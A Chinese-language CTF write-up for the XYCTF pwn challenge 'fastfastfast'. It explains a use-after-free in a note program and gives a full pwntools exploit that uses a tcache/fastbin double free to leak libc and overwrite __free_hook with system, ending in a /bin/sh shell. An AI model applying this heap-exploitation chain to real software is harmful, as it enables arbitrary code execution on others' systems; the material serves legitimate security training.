[XYCTF] fastfastfast
UAF
|fast_bin_attack
|tcache
|leak_libc
[*] '/home/bamuwe/fastfastfast/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
$ checksec ./vuln
1. create note
2. delete note
3. show content
>>>
$ ./vuln
void __cdecl delete()
{
unsigned int idx; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 v1; // [rsp+18h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("please input note idx");
__isoc99_scanf("%u", &idx);
if ( idx <= 0xF )
free(note_addr[idx]);
else
puts("idx error");
}
delete()漏洞函式,沒有清除指標
def add(idx,content):
io.sendlineafter(b'>>>',b'1')
io.sendlineafter(b'idx\n',str(idx))
io.sendlineafter(b'content\n',content)
def free(idx):
io.sendlineafter(b'>>>',b'2')
io.sendlineafter(b'idx\n',str(idx))
def show(idx):
io.sendlineafter(b'>>>',b'3')
io.sendlineafter(b'idx\n',str(idx))
互動函式
程式邏輯:
add()
堆塊大小固定0x71
free()
後沒有清空指標
利用思路:
-
填滿
tcache_bin
構造fast_bin_attack
,將堆塊放在原來有libc_addr
的地方,洩露出libc_addr
for i in range(9): add(i,b'a') for i in range(7): free(i) free(7) free(8) free(7)
要利用
fastbin_attack
要先把tcachebin
中的堆塊利用for i in range(7): add(i,b'a')
add(7,p64(0x4040A8))
修改
fd
為目標地址,關於這個地址後文說明再申請三個堆塊就可以得到目標
chunk
add(8,b'a') add(9,b'b') add(10,p64(0)*3+p64(elf.got['free'])) #? show(0) #leak_libc free_addr = u64(io.recv(6).ljust(8,b'\x00')) lib_base = free_addr-lib.sym['free'] free_hook_addr = lib_base+lib.sym['__free_hook'] sys_addr = lib_base+lib.sym['system'] success(hex(free_addr)) success(f'free_hook_addr=>{hex(free_hook_addr)}')
得到
libc
這裡p64(0)*3+p64(elf.got['free'])
應該是堆塊結構有關 -
修改
__free_hook
地址上的內容為system
地址,構造system(/bin/sh)
,得到shell
for i in range(9): add(i,b'/bin/sh\x00') for i in range(7): free(i) free(7) free(8) free(7) for i in range(7): add(i,b'a') add(7,p64(free_hook_addr)) add(8,b'a') add(9,b'/bin/sh\x00') add(10,p64(sys_addr)) free(9)
利用手法同上
關於地址0x4040A8
:
這是存貯堆塊列表的地址,即變數note_addr
的地址,覆蓋其上堆塊內容,再列印出來
exp:
#GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'
io = gdb.debug('./vuln','b *0x401564')
# io = remote('gz.imxbt.cn',20788)
elf = ELF('./vuln')
lib = ELF('./libc-2.31.so')
def add(idx,content):
io.sendlineafter(b'>>>',b'1')
io.sendlineafter(b'idx\n',str(idx))
io.sendlineafter(b'content\n',content)
def free(idx):
io.sendlineafter(b'>>>',b'2')
io.sendlineafter(b'idx\n',str(idx))
def show(idx):
io.sendlineafter(b'>>>',b'3')
io.sendlineafter(b'idx\n',str(idx))
for i in range(9):
add(i,b'a')
for i in range(7):
free(i)
free(7)
free(8)
free(7)
for i in range(7):
add(i,b'a')
add(7,p64(0x4040A8))
add(8,b'a')
add(9,b'b')
add(10,p64(0)*3+p64(elf.got['free'])) #?
show(0)
#leak_libc
free_addr = u64(io.recv(6).ljust(8,b'\x00'))
lib_base = free_addr-lib.sym['free']
free_hook_addr = lib_base+lib.sym['__free_hook']
sys_addr = lib_base+lib.sym['system']
success(hex(free_addr))
success(f'free_hook_addr=>{hex(free_hook_addr)}')
for i in range(9):
add(i,b'/bin/sh\x00')
for i in range(7):
free(i)
free(7)
free(8)
free(7)
for i in range(7):
add(i,b'a')
add(7,p64(free_hook_addr))
add(8,b'a')
add(9,b'/bin/sh\x00')
add(10,p64(sys_addr))
free(9)
io.interactive()